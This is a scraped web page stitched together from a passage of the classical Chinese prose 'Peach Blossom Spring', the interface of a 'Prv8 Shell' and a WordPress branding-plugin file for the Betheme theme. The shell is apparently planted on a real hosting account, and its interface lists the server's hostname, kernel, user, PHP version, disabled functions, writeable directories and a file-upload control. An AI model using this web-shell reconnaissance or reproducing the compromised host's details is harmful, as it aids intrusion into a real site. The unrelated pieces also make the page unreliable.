晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/public_html/setupTZh/plugins/becustom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/public_html/setupTZh/plugins/becustom/becustom_branding.php
<?php
class Be_custom_branding extends Be_custom {
  const page_name = 'branding';

  public $options = array();
  public $theme_name = '';
  public $regex_betheme_muffin = array('/Betheme/','/Muffin/', '/be-/');
  public $regex_mfn_links = '/.+(https:\/\/(themes|support).muffingroup).*/';

  public function get_template() {
    include_once( plugin_dir_path( __DIR__ ) . 'becustom/templates/'.self::page_name.'.php' );
  }

  public function add_menu() {
    $this->page = add_submenu_page(
      'be_custom',
      null,
      null,
      'manage_options',
      'be_custom_'.self::page_name,
      array( $this, 'get_template')
    );

    add_action('admin_print_styles-'. $this->page, array( $this, 'enqueue' ));
    remove_submenu_page('be_custom', 'be_custom_'.self::page_name);
  }

  public function form_handler() {
    $actual_user_schema = $this->options;

    if(!empty($_POST)) {
      foreach($_POST as $key => $value) {
        $actual_user_schema[$key]['value'] = $value;
      }

      update_option( 'be_custom_'.self::page_name, $actual_user_schema);

      //reload, display new, insertecd values in inputs
      $this->options = $this->iterate_merge_array(self::page_name);

      //temp solution
      echo '<script>window.location.reload(true);</script>';
    } else{
      //
    }
  }

  /**
   * Appearance > Themes settings
   */


  function change_theme_overlay( $themes ) {
    if($this->options['replaced_theme_image']['value']){
      $themes[ $this->theme_name  ]['screenshot'][0] = $this->options['replaced_theme_image']['value'];
    }

    return $themes;
  }

  function change_theme_name( $themes ) {
    if($this->options['betheme_label']['value']){
      $themes[ $this->theme_name  ]['name'] = $this->options['betheme_label']['value'];
    }

    return $themes;
  }

  function change_theme_description( $themes ) {
    if($this->options['replaced_theme_desc']['value']){
      $themes[ $this->theme_name  ]['description'] = $this->options['replaced_theme_desc']['value'];
    }

    return $themes;
  }

  function change_theme_author( $themes ) {
    if($this->options['replaced_theme_author']['value']){
      $themes[ $this->theme_name  ]['author'] = $this->options['replaced_theme_author']['value'];
      $themes[ $this->theme_name  ]['authorAndUri'] = $this->options['replaced_theme_author']['value'];
    }

    return $themes;
  }

  function visibility_theme_version( $themes ) {
    $becustom_built_in_info = $this->iterate_merge_array('built_in_features')['disable_theme_version']['value'];

    //on load (to prevent refresh theme version visibility)
    //plus on click, bcuz on each click the html is builded in wp
    echo '<script> window.onload = function() {
      jQuery(".theme-overlay.active .theme-version").css("display", "none");

      jQuery(".theme").click(function(){
        jQuery(".theme-overlay.active .theme-version").css("display", "none");
      });
    }; </script>';

    return $themes;
  }

  /*
  * Creating filters for branding
  */

  public function create_filters_loop() {
    foreach($this->options as $field){
      add_filter($field['filter_name'], array($this, 'create_filter_'.$field['filter_name']) );
    }
  }

  public function create_filter_betheme_label($default) {
    $new_value = $this->options['betheme_label']['value'];

    if($new_value){
      $default = $new_value;
    }

    return $default;
  }

  public function create_filter_betheme_dynamic_slug($default) {
    $slug = $this->options['betheme_url_slug']['value'];
    $slug = !empty($slug) ? $slug : 'be';

    $default_theme_slug = 'be';
    $default_theme_label = 'betheme';

    //places where label will be overwritten with slug, if changed by becustom
    return ($slug != $default_theme_slug) ? $slug : $default_theme_label;
  }

  public function create_filter_betheme_logo($default) {
    $new_value = $this->options['replaced_logo_url']['value'];

    if($new_value){
      $default = '<img class="betheme-custom-logo" src="'. $new_value .'" />';
    }

    return $default;
  }

  public function create_filter_betheme_image($default) {
    $new_value = $this->options['replaced_theme_image']['value'];

    if($new_value){
      $default = $new_value;
    }

    return $default;
  }

  public function create_filter_betheme_desc($default) {
    $new_value = $this->options['replaced_theme_desc']['value'];

    if($new_value){
      $default = $new_value;
    }

    return $default;
  }

  public function create_filter_betheme_author($default) {
    $new_value = $this->options['replaced_theme_author']['value'];

    if($new_value){
      $default = $new_value;
    }

    return $default;
  }

  public function create_filter_betheme_slug($default) {
    $new_value = $this->options['betheme_url_slug']['value'];

    if($new_value){
      $default = $new_value;
    }

    return $default;
  }

  public function create_filter_betheme_options_filed_options($field) {
    $actual_muffin_label = apply_filters('betheme_label', 'Muffin');

    foreach ($field as $options_key => $options_value ) {
      $field[$options_key] = preg_replace($this->regex_betheme_muffin, $actual_muffin_label, $options_value);
    }

    return $field;
  }

  public function create_filter_betheme_options_filed_title($default) {
    $actual_muffin_label = apply_filters('betheme_label', 'Muffin');
    $new_value = preg_replace($this->regex_betheme_muffin, $actual_muffin_label, $default);

    return $new_value;
  }

  public function create_filter_betheme_options_filed_desc($default) {
    $is_support_disabled = $this->iterate_merge_array('built_in_features')['disable_support_link']['value'];
    $new_slug = apply_filters('betheme_slug', 'be').'-';

    if ($is_support_disabled) {
      //if something is linked to support, remove it
      $default = preg_replace($this->regex_mfn_links, ' ', $default);
    }

    //for anchor links like be-options#responsive
    $default = preg_replace($this->regex_betheme_muffin, $new_slug, $default);

    return $default;
  }

  public function create_filter_betheme_logo_nohtml($default) {
    $new_value = $this->options['replaced_logo_url']['value'];

    if($new_value){
      $default = $new_value;
    }

    return $default;
  }

  public function __construct() {
    parent::__construct();
    //Paths to 'info' images
    $this->branding['betheme_label']['popup_content']['image'] = plugin_dir_url( __FILE__ ).'assets/images/default-betheme-text.png';
    $this->branding['replaced_logo_url']['popup_content']['image'] = plugin_dir_url( __FILE__ ).'assets/images/default-betheme-logo.png';
    $this->branding['replaced_theme_image']['popup_content']['image'] = plugin_dir_url( __FILE__ ).'assets/images/default-betheme-theme-image.png';
    $this->branding['replaced_theme_desc']['popup_content']['image'] = plugin_dir_url( __FILE__ ).'assets/images/betheme-description.png';
    $this->branding['replaced_theme_author']['popup_content']['image'] = plugin_dir_url( __FILE__ ).'assets/images/default-betheme-author-name.png';
    $this->branding['betheme_url_slug']['popup_content']['image'] = plugin_dir_url( __FILE__ ).'assets/images/betheme-friendly-url.png';

    add_action( 'admin_menu', array( $this, 'add_menu'));

    //values, iterated to check if there is no new attributes
    //some of them, are cached in database
    $this->options = $this->iterate_merge_array(self::page_name);

    //values straight from the php schema
    $this->get_attributes = $this->get_page_attributes(self::page_name);

    //Appearance > Themes and Version Visibility
    if(!WHITE_LABEL){
      $this->theme_name = get_stylesheet();
      add_filter( 'wp_prepare_themes_for_js', array( $this, 'change_theme_overlay' ));
      add_filter( 'wp_prepare_themes_for_js', array( $this, 'change_theme_name' ));
      add_filter( 'wp_prepare_themes_for_js', array( $this, 'change_theme_description' ));
      add_filter( 'wp_prepare_themes_for_js', array( $this, 'change_theme_author' ));
      add_filter( 'wp_prepare_themes_for_js', array( $this, 'visibility_theme_version' ));

      //filters
      add_action( 'load_textdomain', array($this, 'create_filters_loop'), 1);
    }
  }
}

new Be_custom_branding();

haha - 2025